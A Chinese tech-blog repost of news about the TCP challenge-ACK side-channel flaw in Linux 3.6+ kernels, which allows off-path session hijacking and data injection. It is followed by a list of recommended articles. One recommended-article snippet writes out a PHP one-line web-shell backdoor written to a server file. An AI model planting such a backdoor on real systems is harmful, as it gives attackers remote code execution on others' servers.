TCP 协议漏洞影响大量 Linux 设备

最新推荐文章于 2024-11-03 11:32:47 发布
最新推荐文章于 2024-11-03 11:32:47 发布
阅读量110 收藏
点赞数
文章标签： 网络 操作系统
原文链接：https://yq.aliyun.com/articles/114941
版权

本周三在得州奥斯丁举行的 USENIX 安全研讨会上，加州大学河滨分校研究生 Yue Cao 将报告一个严重的TCP协议边信道漏洞（PDF），该漏洞允许攻击者远程劫持任意两主机之间的会话。该漏洞影响Linux 3.6+ 内核，根据邮件列表的讨论内核已经在一个月前修复了漏洞。

互联网工程任务组在2010年发布了规格 RFC 5961， 旨在解决TCP的盲窗攻击，但它同时引入了新的漏洞。漏洞的根源在于RFC 5961引入的 challenge ACK 响应和 TCP 控制封包的速率限制，该漏洞允许盲旁接攻击者推断出互联网上任意两主机之间是否使用TCP连接进行通信；如果连接存在，攻击者能推断出连接双方使用的 TCP序列号，这允许攻击者让连接终止和执行数据注入攻击。研究人员认为这种攻击能破坏匿名网络Tor的隐私保护。2012年发布的Linux 3.6实现了RFC 5961，该漏洞影响广泛的设备和主机。

文章转载自 开源中国社区[http://www.oschina.net]

??yy
关注
TCP/IP协议简介
lingshengxiyou的博客
08-15 1578
TCP协议和IP协议指两个用在Internet上的网络协议（或数据传输的方法）。它们分别是传输控制协议和互连网协议。这两个协议属于众多的TCP/IP 协议组中的一部分。TCP/IP协议组中的协议保证Internet上数据的传输，提供了几乎现在上网所用到的所有服务。这些服务包括：电子邮件的传输 文件传输 新闻组的发布 访问万维网在TCP/IP协议组分两种协议：网络层的协议 应用层的协议。......
Linux设备TCP连接曝高危漏洞 只要接入网络就可能被攻击.pdf
09-06
受影响的Linux内核版本范围广泛，从v3.6到v4.7，这意味着过去四年间的大量Linux系统可能受到此漏洞的影响。庆幸的是，针对此漏洞的Linux内核补丁已经开发完成，包括针对服务器和客户端主机的防护措施。用户应及时...
linux系统入侵检测
段帅星的博客
09-01 663
linux系统入侵检测 一：系统日志分析 1、/var/log/secure查看登陆事件 1> 查看登陆失败事件 # grep -i Failed /var/log/secure 2> 查看登陆成功事件 # grep -i Accepted /var/log/secure 3> 查看sshd服务登陆事件 # grep -i sshd /var/log/secure 4>
黑客常用 Linux 入侵常用命令
热门推荐
杨春建的博客
02-10 1万+
原文地址：http://blog.csdn.net/jHstGeWWubw/article/details/78941387写个php一句话后门上去：[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.php[jobcruit@wa64-054 rankup_l...
TCP 协议【传输层协议】
Man9o
07-26 1598
与 UDP 不同，TCP（Transmission Control Protocol）则“人如其名”，可以说是对“传输、发送、通信”进行“控制”的“协议”。TCP 与 UDP 的区别相当大。它充分地实现了数据传输时各种控制功能，可以进行丢包时的重发控制，还可以对次序乱掉的分包进行顺序控制。而这些在 UDP 中都没有。
【Linux 网络】 传输层协议之TCP协议 && TCP的三次握手和四次挥手
fufufu_的博客
08-04 2550
我们经常说UDP协议是一种不可靠的传输协议，而TCP协议是可靠的传输协议。所谓的不可靠指的是，由于传输距离的问题，双方在传输数据时，数据包可能出现丢包、乱序、重复、校验失败、发送太快/太慢，网络出现异常造成的一系列情况等问题。这也是UDP协议在拥有简单、快速这些特点的同时，对应的不足的地方。而TCP协议就是为了解决传输不可靠的问题，因此TCP一定会比UDP复杂。TCP虽然复杂，但是效率不一定比UDP低，TCP当中不仅有保证可靠性的机制，还有保证传输性能的各种机制。
【Linux】传输层协议：UDP和TCP
The porters of knowledge
08-17 2150
理解端口号，UDP面向数据报，网络协议栈和Linux系统的联系，从代码层面理解TCP报头，TCP的确认应答，流量控制，超时重传，连接管理，为什么要三次握手，四次挥手时重点理解TIME_WAIT和CLOSE_WAIT状态，滑动窗口，拥塞控制，MSS和SMSS，慢启动和拥塞避免，延迟应答、捎带应答，TCP异常情况，listen第二个参数backlog的理解
【网络】-- TCP协议
weixin_64609308的博客
05-03 2446
TCP 是面向连接的运输层协议。应用程序在使用 TCP 协议之前，必须先建立 TCP 连接。在传送数据完毕后，必须释放已经建立的 TCP 连接 每一条 TCP 连接只能有两个端点，每一条 TCP 连接只能是点对点的(一对一) TCP 提供可靠交付的服务。通过 TCP 连接传送的数据，无差错、不丢失、不重复，并且按序到达 TCP 提供全双工通信。TCP 允许通信双方的应用进程在任何时候都能发送数据。TCP 连接的两端都设有发送缓存和接受缓存，用来临时存放双向通信的数据 面向字节流。TCP 中的“流”指的是流入
【网络】传输层协议——TCP协议（初阶）
2301_80224556的博客
08-24 3784
TCP 是面向连接的运输层协议。应用程序在使用 TCP 协议之前，必须先建立 TCP 连接。在传送数据完毕后，必须释放已经建立的 TCP 连接每一条 TCP 连接只能有两个端点，每一条 TCP 连接只能是点对点的(一对一)TCP 提供可靠交付的服务。通过 TCP 连接传送的数据，无差错、不丢失、不重复，并且按序到达TCP 提供全双工通信。TCP 允许通信双方的应用进程在任何时候都能发送数据。TCP 连接的两端都设有发送缓存和接受缓存，用来临时存放双向通信的数据面向字节流。
TCP协议(全面)
m0_61925333的博客
07-25 1万+
基于TCP协议的三大特性，对TCP协议进行了全面介绍
【网络】TCP协议——TCP连接相关、TCP连接状态相关、TCP数据传输与控制相关、TCP数据处理和异常、基于TCP应用层协议
Crocodile1006的博客
08-02 1727
Linux网络、TCP协议、TCP连接相关、TCP协议段格式、确定应答(ACK)机制、超时重传机制、TCP连接状态相关、TIME_WAIT状态、CLOSE_WAIT 状态、TCP数据传输与控制相关、滑动窗口、流量控制、拥塞控制、延迟应答、捎带应答、面向字节流、TCP数据处理和异常、粘包问题、TCP异常情况
基于Linux的TCP_IP协议栈安全性研究.pdf
09-07
例如，TCP协议的SYN洪水攻击就是利用了三次握手过程，通过大量虚假SYN请求淹没服务器，使其无法处理合法连接。此外，IP选项和TCP头部选项有时会被用于执行中间人攻击或注入恶意数据。 Linux系统提供了Netfilter框架...
Docker配置宿主机目录和网络映射
最新发布
BigBookX's Blog
11-03 440
host网络模式在某些场景下非常有用，特别是当你需要高性能的网络连接或简化端口管理时。然而，它也有其局限性，特别是在处理端口冲突和网络隔离方面。根据你的具体需求选择合适的网络模式。
嵌入式通信协议：MODBUS简明学习笔记
weixin_73867577的博客
11-02 221
学习Modbus的简明学习笔记
集线器是共享带宽的，交换机独享带宽。怎么讲？
zxf347085420的博客
10-31 338
交换机的所有的端口都挂接在这条背部总线上，控制电路收到数据包以后，处理端口会查找内存中的地址对照表以确定目的MAC（网卡的硬件地址）的NIC（网卡）挂接在哪个端口上，通过内部交换矩阵迅速将数据包传送到目的端口，目的MAC若不存在，广播到所有的端口，接收端口回应后交换机会“学习”新的MAC地址，并把它添加入内部MAC地址表中。交换机都支持全双工。上网出口才一条，这是大家共亨的，而交换机的带宽现在一般的是100M，是独亨的，指的是你内部与其他电脑通讯使用的带宽。是独亨的，指的是你内部与其他电脑通讯使用的带宽。
tcp shutdown, fin_wait1, fin_wait2, close_wait, last_ack, 谢特！
Netfilter
10-31 1688
状态很奇怪，人们很难接受一个连接在非 ESTABLISHED 状态下正常传输数据，这会引来一堆咨询，但根据 TCP 状态机，这又是合理的，client 单向关闭了发送，FIN 就过去了，server 回复了 FIN，进入 CLOSE_WAIT，client 收到回复进入 FIN_WAIT_2，而 server 在 CLOSE_WAIT 下发数据，client 在 FIN_WAIT_2 下是完全合理的。但如果应用程序希望如此呢？TCP 的 RFC793 并未规定状态超时时间，为完整闭环这是合理的。
速盾：sdk盾有什么用？
zhuguowang01的博客
11-02 185
SDK盾能够对SDK进行加密保护，使其在传输和使用过程中难以被窃取，从而有效保护开发者的知识产权和商业利益。然而，由于SDK的泄露或被盗取，开发者可能会面临知识产权纠纷、追责等问题，进而影响软件的开发进度和效率。通过使用SDK盾可以有效避免这些问题的发生，保护开发者的合法权益，提高软件的开发效率。SDK盾可以对SDK进行防篡改和防病毒的检测，确保SDK的完整性和安全性，有效减少软件遭受恶意攻击的风险。而使用SDK盾可以保证SDK的完整性和可靠性，确保软件正常运行和稳定性，提升用户的使用体验。
嵌入式系统中的网络链接如何实现远程监控和控制
teach2004的博客
10-31 291
随着物联网（IoT）的快速发展，嵌入式系统在各类设备中的应用日益普及。通过网络连接，嵌入式系统能够实现远程监控和控制，为用户带来极大的便利和灵活性。嵌入式系统通过网络链接实现远程监控和控制，极大地提升了设备的智能化和便利性。随着技术的不断进步，未来的嵌入式系统将在各个领域发挥更大的作用。· 数据采集：嵌入式系统定期收集传感器数据，并通过网络将数据发送到服务器。· 工业自动化：工厂通过远程监控设备的状态，实现生产过程的优化和故障预警。· 数据存储：服务器将接收到的数据存储在数据库中，方便后续分析和处理。
AIGC时代的网络威胁和防御
qq128252的博客
10-31 962
本文讨论了 AIGC 时代的网络攻击和防御，以及利用大型语言模型打造先进的交互式蜜罐系统。 关键要点包括： - 生成式 AI 成为网络威胁新宠：探讨了其在网络攻击中的滥用，如被网络犯罪分子利用生成和自动化攻击。 - 攻击方法多样：包括 Character Play、Switch Method、OccupyAI 等多种攻击方式。 - 研究结论与应对策略：发现生成式 AI 降低攻击门槛，增加攻击复杂度，提出加强网络安全框架等应对策略。 - 利用 LLM 打造蜜罐系统：介绍了利用 LLM 创建更高效蜜罐系统的研究
网络协议调试利器：TCP/UDP调试助手
资源摘要信息:"TCP,UDP调试助手是一款网络协议测试工具，它主要支持TCP（传输控制协议）和UDP（用户数据报协议）这两种网络协议。TCP是一种面向连接的、可靠的、基于字节流的传输层通信协议，提供全双工服务，确保了...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值